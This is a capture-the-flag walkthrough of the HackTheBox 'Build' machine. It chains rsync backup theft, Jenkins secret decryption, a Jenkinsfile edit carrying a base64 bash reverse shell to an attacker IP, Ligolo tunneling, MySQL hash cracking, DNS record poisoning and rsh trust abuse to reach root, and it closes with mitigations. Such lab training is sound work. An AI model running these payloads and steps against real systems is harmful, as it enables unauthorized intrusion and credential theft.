Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Build Writeup

Updated
•18 min read•View as Markdown
HackTheBox: Build Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Executive Summary

The "Build" machine demonstrates a complex attack chain involving multiple services in a containerized environment. The exploitation requires:

  1. Reconnaissance of internal Docker network via nmap

  2. Database enumeration and credential cracking

  3. Git service compromise with credential reuse

  4. Jenkins backup extraction and decryption

  5. RCE via Jenkinsfile modification

  6. DNS poisoning through PowerDNS-Admin

  7. Legacy rlogin/rsh exploitation with DNS hijacking


Phase 1: Initial Reconnaissance

1.1 External Nmap Service Enumeration

nmap -sV -Pn -T4 10.129.234.169 -oA nmap

Discovered Services on 10.129.234.169:

Port Service Version Notes
22 SSH OpenSSH 8.9p1 Standard SSH
53 DNS PowerDNS DNS server
512-514 RSH services Netkit rsh/rexecd/rshd Legacy services
873 Rsync (protocol v31) Unauthenticated file access
3000 HTTP Golang (Gitea) Git service
3306 MySQL MariaDB 11.3.2 Filtered (seen later)
8081 HTTP PowerDNS-Admin Web UI

Key Finding: Rsync service is open and unauthenticated!


1.2 Service Briefing: Understanding the Targets

What is Rsync?

Rsync (Remote Synchronization) is a utility for efficiently transferring and synchronizing files between systems.

Key Characteristics:

  • Uses SSH or rsync protocol (port 873) for file transfer

  • Designed for efficient incremental backups

  • Can operate unauthenticated if configured improperly

  • Commonly used for server backups and file synchronization

  • When unauthenticated, it exposes all files in shared directories

Why It's Dangerous Here:

  • No authentication required

  • Backup directory contains full Jenkins configuration

  • Jenkins backups include encryption keys and credentials

  • Attacker can download entire backup without login

Real-World Impact:

  • Access to sensitive configuration files

  • Encryption keys exposed (enabling credential decryption)

  • Source code and deployment scripts accessible

  • Complete infrastructure blueprint


What is Jenkins?

Jenkins is an open-source automation server widely used for continuous integration and continuous deployment (CI/CD).

Key Characteristics:

  • Orchestrates automated build, test, and deployment pipelines

  • Uses Groovy-based Jenkinsfile for pipeline definitions

  • Integrates with Git repositories via webhooks

  • Executes arbitrary shell commands on agents

  • Stores credentials in encrypted format (master.key encryption)

Why It's Dangerous Here:

  • Webhooks automatically trigger on code changes

  • Jenkinsfile can execute arbitrary system commands

  • Root access to containers allows host manipulation

  • Credentials reused across environments

  • Backup contains decryption keys

Real-World Impact:

  • Code injection through Jenkinsfile modification

  • Remote Code Execution on build agents

  • Access to production deployment credentials

  • Container escape and privilege escalation


What is rsh (Remote Shell)?

rsh (Remote Shell) is a legacy protocol for executing commands on remote systems, predating SSH by decades.

Key Characteristics:

  • Operates on port 513 (TCP)

  • Uses .rhosts file for authentication (NO passwords required)

  • Sends credentials in plaintext over the network

  • Based on trust relationships between hosts

  • Replaced by SSH in modern systems (but often still enabled)

Authentication Model (.rhosts):

hostname              → Trust all users from this host
hostname username     → Trust this specific user from this host
hostname +            → Trust ANY user from this host (DANGEROUS!)
+                     → Trust any user from any host (CRITICAL!)

Why It's Dangerous Here:

  • No cryptographic authentication

  • Susceptible to DNS spoofing/hijacking

  • If you control the DNS records, you control access

Real-World Impact:

  • Remote code execution as root

  • No password required for authentication

  • Network-based privilege escalation

  • Cascading compromise from DNS poisoning


Phase 2: Jenkins Backup Exploitation via Rsync

2.1 Rsync Service Enumeration

rsync rsync://10.129.234.169/
# Output: 
# backups         backups

rsync -av rsync://10.129.234.169/backups/
# drwxr-xr-x        4,096 2024/05/02 09:26:31 .
# -rw-r--r--    376,289,280 2024/05/02 09:26:19 jenkins.tar.gz

Critical: Jenkins backup is publicly accessible via rsync!

2.2 Jenkins Backup Download and Extraction

rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz .

file jenkins.tar.gz
# Output: POSIX tar archive (GNU)

tar -xvf jenkins.tar.gz -C jenkins_backup/

Downloaded: 376MB unencrypted Jenkins configuration backup

2.3 Encrypted Credentials Location

Searching backup for encrypted secrets:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" jenkins_backup/
# Found: jenkins_configuration/jobs/build/config.xml
# <password>{AQAAABAAAAAQUNBJaKiUQNaRbPI0/VMwB1cmhU/EHt0chpFEMRLZ9v0=}</password>

Key Files Located:

  • /jenkins_configuration/secrets/master.key - Master encryption key

  • /jenkins_configuration/secrets/hudson.util.Secret - Secret material

  • /jenkins_configuration/jobs/build/config.xml - Job with encrypted password

2.4 Jenkins Secrets Decryption

Reference: HackTricks - Jenkins Security

Using the Jenkins offline decryption technique documented on HackTricks:

Using jenkins_offline_decrypt.py script from pwn_jenkins GitHub Repository:

# Setup Python environment for decryption
python3 -m venv jenkins-venv
source jenkins-venv/bin/activate
pip install pycryptodome

# Decrypt Jenkins secrets
python3 jenkins_offline_decrypt.py \
  jenkins_backup/jenkins_configuration/secrets/master.key \
  jenkins_backup/jenkins_configuration/secrets/hudson.util.Secret \
  jenkins_backup/jenkins_configuration/jobs/build/config.xml

Result: Decrypted password: [REDACTED]

Important: This password is likely for the buildadm user in Gitea!


Phase 3: Gitea Service Compromise

3.1 Gitea Access with Decrypted Credentials

Navigate to http://build.vl:3000

Login Details:

  • Username: buildadm

  • Password: [REDACTED] (from Jenkins decryption)

Login successful! Access to buildadm account granted.

3.2 Repository and Webhook Analysis

Accessible repository: buildadm/dev

Repository Details:

  • Contains: Jenkinsfile (CI/CD pipeline configuration)

  • Last updated: 2 years ago

  • Critical: Repository is editable by buildadm user!

Webhook Configuration Found:

  • Target URL: http://172.18.0.3:8080/gitea-webhook/post

  • Trigger: Push Events

  • Payload: application/json

Attack Vector: Modifying Jenkinsfile will trigger Jenkins webhook and execute our payload!


Phase 4: Remote Code Execution via Jenkinsfile Modification

4.1 Malicious Jenkinsfile Payload

Edit the Jenkinsfile in buildadm/dev repository

Original Code:

pipeline {
    agent any
    stages {
        stage('Do nothing') {
            steps {
                sh '/bin/true'
            }
        }
    }
}

Reverse Shell Payload (Base64 encoded):

pipeline {
    agent any
    stages {
        stage('pwn') {
            steps {
                sh 'bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMjMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"'
            }
        }
    }
}

Base64 decoded payload: bash -i >& /dev/tcp/10.10.15.223/4444 0>&1

4.2 Webhook Trigger and Shell Execution

  1. Commit changes to Jenkinsfile in Gitea

  2. Gitea sends webhook to Jenkins at 172.18.0.3:8080

  3. Jenkins builds the buildadm/dev pipeline

  4. Executes the malicious shell command

  5. Reverse shell connects to attacker listener

# On attacker machine
nc -lvnp 4444
# Listening on 0.0.0.0 4444

# Reverse shell spawned
root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main#

Shell Access Gained: Root user inside Jenkins Docker container (172.18.0.3)

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

hostname
# 5ac6c7d6fb8e  (Docker container ID)

4.3 User Flag Retrieved

cd ~
cat user.txt
# [REDACTED]

Phase 5: Internal Network Discovery & Enumeration

5.1 Docker Network Analysis

From within Jenkins container, analyze network configuration:

cat /etc/hosts
# 172.18.0.3      5ac6c7d6fb8e

mount | grep overlay
# Shows Docker overlay filesystem mounting

ip addr show
# eth0: inet 172.18.0.3/16

Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.

5.2 Container Network Analysis

From within Jenkins container, analyze network configuration:

cat /etc/hosts
# 172.18.0.3      5ac6c7d6fb8e

mount | grep overlay
# Shows Docker overlay filesystem mounting

ip addr show
# eth0: inet 172.18.0.3/16

Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.


5.3 Network Tunneling Setup (Ligolo-ng)

To access internal services from attacker machine, setup tunneling:

# On attacker machine
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up

ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# INFO[0000] Listening on 0.0.0.0:11601

# In another terminal
sudo ip route add 172.18.0.0/24 dev ligolo
# Inside container - download and run ligolo agent
curl http://10.10.15.223/ligolo-agent -o agent
chmod +x agent

./agent -connect 10.10.15.223:11601 -ignore-cert
# INFO[0000] Connection established

Result: Attacker machine can now reach 172.18.0.0/24 network!


5.4 Internal Network Nmap Scan

Now that network tunneling is established, perform detailed enumeration of internal network:

# Comprehensive internal network scan
nmap -sV -Pn -T4 172.18.0.1 172.18.0.2 172.18.0.4 172.18.0.6

Network Topology Discovered:

Host IP Port Service Version Notes
Main Infra 172.18.0.1 22 SSH OpenSSH 8.9p1 TARGET for rsh
53 DNS PowerDNS Domain controller
512-514 RSH Netkit rshd Exploitation vector
873 Rsync v31 Source of backup
3000 HTTP Gitea Git with webhook
3306 MySQL MariaDB 11.3.2 UNAUTH ACCESS
8081 HTTP PowerDNS-Admin Admin panel
Secondary Gitea 172.18.0.2 22 SSH OpenSSH 9.3 Backup instance
3000 HTTP Gitea Same service
Jenkins Worker 172.18.0.3 (current) - - Our shell location
MariaDB 172.18.0.4 3306 MySQL MariaDB 11.3.2 Database server
PowerDNS Worker 172.18.0.5 (filtered) - - DNS worker node
PowerDNS Admin 172.18.0.6 80 HTTP Gunicorn DNS management

Critical Discoveries from Internal Scan:

  1. 172.18.0.1 - Main server with all vulnerable services

    • Unprotected MySQL (credentials in database)

    • rsh service enabled with weak .rhosts

    • PowerDNS integration

  2. 172.18.0.6 - PowerDNS-Admin web interface

    • Manages all DNS records for build.vl domain

    • Accessible via HTTP (no HTTPS required)

    • Vulnerable to credential compromise

  3. Network Layout - Everything is internal, no isolation

    • Container (172.18.0.3) can reach all services

    • Services trust each other (no internal firewall)

    • DNS controls domain trust relationships


Phase 6: MySQL Enumeration and Credential Extraction

6.1 Unauthenticated MySQL Access

# From attacker machine through ligolo tunnel
mysql -h 172.18.0.1 -u root --skip_ssl
# Welcome to the MariaDB monitor

Critical Finding: MySQL accepts root login without password!

6.2 PowerDNS Database Enumeration

show databases;
# +--------------------+
# | Database           |
# +--------------------+
# | information_schema |
# | mysql              |
# | performance_schema |
# | powerdnsadmin      |
# | sys                |
# +--------------------+

use powerdnsadmin;
show tables;

select * from user;
# +----+----------+--------------------------------------------------------------+
# | id | username | password                                                     |
# +----+----------+--------------------------------------------------------------+
# |  1 | admin    | \(2b\)12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq |
# +----+----------+--------------------------------------------------------------+

select * from records;

DNS Records Reveal:

  • db.build.vl → 172.18.0.4

  • gitea.build.vl → 172.18.0.2

  • intern.build.vl → 172.18.0.1 (TARGET for spoofing!)

  • jenkins.build.vl → 172.18.0.3

  • pdns.build.vl → 172.18.0.6

  • pdns-worker.build.vl → 172.18.0.5

6.3 Hash Cracking

# Extract hash
echo '\(2b\)12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq' > admin.hash

# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# winston          (?)

Cracked Credential:

  • Username: admin

  • Password: [REDACTED]


Phase 7: DNS Poisoning via PowerDNS-Admin

7.1 PowerDNS-Admin Login

Navigate to http://172.18.0.6 (accessible through ligolo tunnel)

Login Details:

  • Username: admin

  • Password: [REDACTED] (from hash cracking)

Login successful!

7.2 DNS Record Manipulation

Objective: Point intern.build.vl to attacker machine (10.10.15.223)

Steps:

  1. Click on build.vl zone

  2. Select Zone Records

  3. Find intern A record (currently pointing to 172.18.0.1)

  4. Edit and change value to: 10.10.15.223

  5. Save changes

Verification:

dig intern.build.vl @10.129.234.169
# ;; ANSWER SECTION:
# intern.build.vl.        60      IN      A       10.10.15.223

DNS poisoning successful! intern.build.vl now resolves to attacker IP.


Phase 8: Legacy rsh/rlogin Exploitation

8.1 .rhosts File Discovery

Within the Jenkins container, discovered an important file:

cat /root/.rhosts
# admin.build.vl +
# intern.build.vl +

Significance of .rhosts:

  • admin.build.vl + → Any user from admin.build.vl can login as any user

  • intern.build.vl + → Any user from intern.build.vl can login as any user

  • The + wildcard means ANY user from that host

8.2 rsh/rlogin Protocol Exploitation

Reference: QNX rsh Protocol Documentation

The rsh (remote shell) protocol uses .rhosts for authentication. According to the documentation:

Understanding .rhosts Trust Model:

  • hostname - All users from this host are trusted

  • hostname username - Specific user from host can login

  • hostname + - Any user from this host can login as any user (DANGEROUS!)

  • + - Any user from any host can login (CRITICAL!)

Combined with DNS poisoning:

Attack Flow:

  1. DNS now resolves intern.build.vl → 10.10.15.223 (attacker)

  2. Main server (10.129.234.169) trusts intern.build.vl for rsh connections

  3. When rsh receives connection from 10.10.15.223, it thinks it's from intern.build.vl

  4. .rhosts allows any user from intern.build.vl to login

  5. Connection is accepted without password!

8.3 rsh Connection to Main Server

From attacker machine:

rsh -v root@build.vl
# Trying 10.129.234.169 port 513...
# Connected.
# Welcome to Ubuntu 22.04.5 LTS

Success! Remote shell spawned with root privileges!

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

hostname
# build

ls -la
# total 56
# drwx------  8 root root 4096 Jul 24  2025 .
# -rw-r--r--  1 root root 3592 Jul 23  2025 int
# -r--------  1 root root   35 May  1  2024 .rhosts
# drwxr-xr-x  6 root root 4096 Jul 22  2025 scripts

8.4 Root Flag Retrieved

cat root.txt
# [REDACTED]

Complete Attack Chain Summary

1. Nmap reconnaissance (10.129.234.169)
   └─ Discovers: Rsync, SSH, DNS, MySQL, Gitea, etc.
   
2. Rsync enumeration
   └─ Finds: jenkins.tar.gz backup (376MB)
   
3. Jenkins backup analysis
   └─ Extracts: master.key, hudson.util.Secret, encrypted credentials
   
4. Jenkins offline decryption
   └─ Decrypts: buildadm password
   
5. Gitea login with buildadm credentials
   └─ Accesses: buildadm/dev repository
   
6. Jenkinsfile modification
   └─ Adds: Base64-encoded reverse shell payload
   
7. Webhook trigger and RCE
   └─ Executes: Reverse shell to attacker (Jenkins container)
   
8. User flag captured
   └─ Inside: Docker container 172.18.0.3
   
9. Internal network enumeration
   └─ Discovers: 172.18.0.0/24 network topology
   
10. Network tunneling setup (Ligolo-ng)
    └─ Enables: Access to 172.18.0.0/24 from attacker
    
11. MySQL enumeration (172.18.0.4)
    └─ Finds: PowerDNS admin credentials (hash)
    
12. Hash cracking (John the Ripper)
    └─ Cracks: bcrypt hash → plaintext password
    
13. PowerDNS-Admin login
    └─ Accesses: Zone management interface
    
14. DNS record poisoning
    └─ Changes: intern.build.vl → 10.10.15.223
    
15. rsh exploitation with .rhosts trust
    └─ Connects: root@build.vl without password
    
16. Root flag captured
    └─ On: Main infrastructure server 10.129.234.169

Attack Timeline & Progression

Step Action Source Target Result
1 Nmap scan Attacker 10.129.234.169 Discovered services
2 Rsync access Attacker 10.129.234.169:873 Jenkins backup
3 Jenkins decrypt Attacker Local filesystem buildadm credentials
4 Gitea login Attacker 10.129.234.169:3000 Repo access
5 Jenkinsfile edit Attacker Gitea Webhook trigger
6 RCE trigger Jenkins 10.129.234.169:8080 Reverse shell
7 User flag Attacker 172.18.0.3 user.txt
8 Network enum 172.18.0.3 Internal network Docker topology
9 Ligolo tunnel Attacker 10.129.234.169:11601 Network access
10 MySQL query Attacker 172.18.0.4:3306 Hash extraction
11 Hash cracking Attacker Local Plaintext password
12 PowerDNS login Attacker 172.18.0.6 Zone management
13 DNS poison Attacker 172.18.0.6 intern.build.vl → attacker IP
14 rsh connection Attacker 10.129.234.169:513 Root shell
15 Root flag Attacker 10.129.234.169 root.txt

Critical Vulnerabilities & Root Causes

# Vulnerability Root Cause Impact CVSS
1 Exposed Rsync Service No authentication configured Backup access 9.8
2 Unencrypted Jenkins Backup No encryption at rest Credential exposure 9.9
3 Jenkins Secret Decryption Master key in backup Password recovery 9.8
4 Credential Reuse Same password across services Account compromise 8.5
5 Unauthenticated MySQL No root password set Database access 9.1
6 Weak .rhosts Configuration + + wildcard too permissive Unauthorized access 9.0
7 rsh Service Enabled Legacy service not disabled Privilege escalation 8.1
8 DNS Admin Compromise No 2FA/OTP enforcement DNS hijacking 8.5
9 Editable Git Repository No branch protection Code injection 8.8
10 Webhook to Jenkins Automatic pipeline execution RCE 9.9

Key Security Findings

Architectural Issues

  • No network segmentation - Docker containers can access host services

  • No API authentication - Services exposed without credentials

  • Credential reuse across services - Single password for multiple systems

  • Legacy protocols enabled - rsh/rlogin should not exist in modern infrastructure

Configuration Failures

  • Jenkins backup not encrypted - Sensitive data in plaintext

  • MySQL root without password - Most critical database exposed

  • .rhosts too permissive - Wildcard entries allow any user

  • Gitea webhook unauthenticated - No verification of webhook source

Secrets Management

  • Master key in backup - Encryption key should be separate

  • No secret rotation - Credentials unchanged for 2 years

  • Credentials in code - Jenkinsfile contains hardcoded references

  • No HashiCorp Vault - Manual credential management


Mitigation Recommendations

Immediate Actions (Critical)

  1. Disable rsh/rlogin services - Remove ports 512-514 entirely

    systemctl stop rsh-server
    systemctl disable rsh-server
    
  2. Encrypt MySQL - Set root password and require authentication

    ALTER USER 'root'@'localhost' IDENTIFIED BY 'strong_password';
    FLUSH PRIVILEGES;
    
  3. Restrict Rsync - Implement authentication and IP whitelisting

    # /etc/rsyncd.conf
    [backups]
    path = /var/backups
    auth users = backup_user
    secrets file = /etc/rsync.secrets
    hosts allow = 10.10.15.0/24
    
  4. Encrypt Jenkins backups - Implement AES-256 encryption

    tar czf - jenkins_home | openssl enc -aes-256-cbc -out backup.tar.gz.enc
    
  5. Fix .rhosts configuration - Remove wildcard entries

    # Before: admin.build.vl +
    # After:  admin.build.vl admin_user
    

Short-term Improvements (1-2 weeks)

  1. Implement 2FA/OTP - Enable on all admin panels

  2. Network segmentation - Isolate Docker containers with firewall rules

  3. Webhook verification - Add secret tokens to Gitea webhooks

  4. Repository protection - Require pull requests before merge

  5. Audit logging - Enable on MySQL, Jenkins, PowerDNS

Long-term Strategy (1-3 months)

  1. HashiCorp Vault integration - Centralized secret management

  2. Rotate all credentials - 30-day rotation policy

  3. Remove legacy services - Eliminate rsh/rlogin entirely

  4. Infrastructure as Code - Automate secure configuration

  5. Secrets scanning - Pre-commit hooks to detect credentials in code

  6. Penetration testing - Regular security assessments

  7. Container hardening - Non-root users, read-only filesystems

  8. Zero-trust architecture - Assume breach, verify everything


Technical Lessons Learned

1. Legacy Protocols are Dangerous

  • rsh/rlogin use plaintext authentication

  • .rhosts trust model is fundamentally broken

  • No encryption, no modern security features

  • Action: Remove completely, use SSH with key-based auth

2. Backups are High-Value Targets

  • Backups contain full system state

  • Encryption keys often in same location

  • Unencrypted = full system compromise

  • Action: Encrypt with key management system

3. Credential Reuse is Critical Path

  • One compromised service = all services compromised

  • Jenkins backup contained password for Gitea

  • Action: Use unique credentials per service

4. Network Segmentation Matters

  • Docker containers shouldn't access host services directly

  • Internal services exposed to container

  • Action: Implement network policies, firewall rules

5. Authentication Failures

  • No passwords, no 2FA

  • Services assume trust they shouldn't have

  • Action: Require auth on everything, implement 2FA


Tools & Techniques Used

Enumeration & Reconnaissance:

  • nmap - Network scanning and service detection

  • rsync - File service enumeration

  • mysql-client - Database access

  • dig - DNS queries

  • ligolo-ng - Network tunneling

Exploitation:

  • john - Hash cracking (bcrypt)

  • git - Repository cloning and modification

  • Bash scripting - Payload creation and encoding

  • Custom Python scripts - Jenkins decryption

Post-Exploitation:

  • rsh/rlogin - Legacy protocol exploitation

  • Standard Unix utilities - System enumeration


References & Further Reading

Key Resources Used in Exploitation

  1. HackTricks - Jenkins Security

    • Used for: Jenkins offline decryption techniques

    • Provided: Regex patterns for finding encrypted credentials

    • Provided: Link to pwn_jenkins script for decryption

  2. pwn_jenkins GitHub Repository

    • Used for: Offline Jenkins secret decryption

    • Provided: jenkins_offline_decrypt.py script

    • Enabled: Recovery of buildadm credentials without Jenkins access

  3. QNX rsh Protocol Documentation

    • Used for: Understanding .rhosts file format and behavior

    • Explained: Trust model and wildcard usage

    • Clarified: How rsh authenticates users based on .rhosts rules

Additional References


HackTheBox Writeups

Part 19 of 43

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox: JobTwo Writeup

Executive Summary JobTwo is a Windows Server 2022 machine that simulates a realistic corporate phishing and privilege escalation scenario. The attack chain begins with a job posting website that solic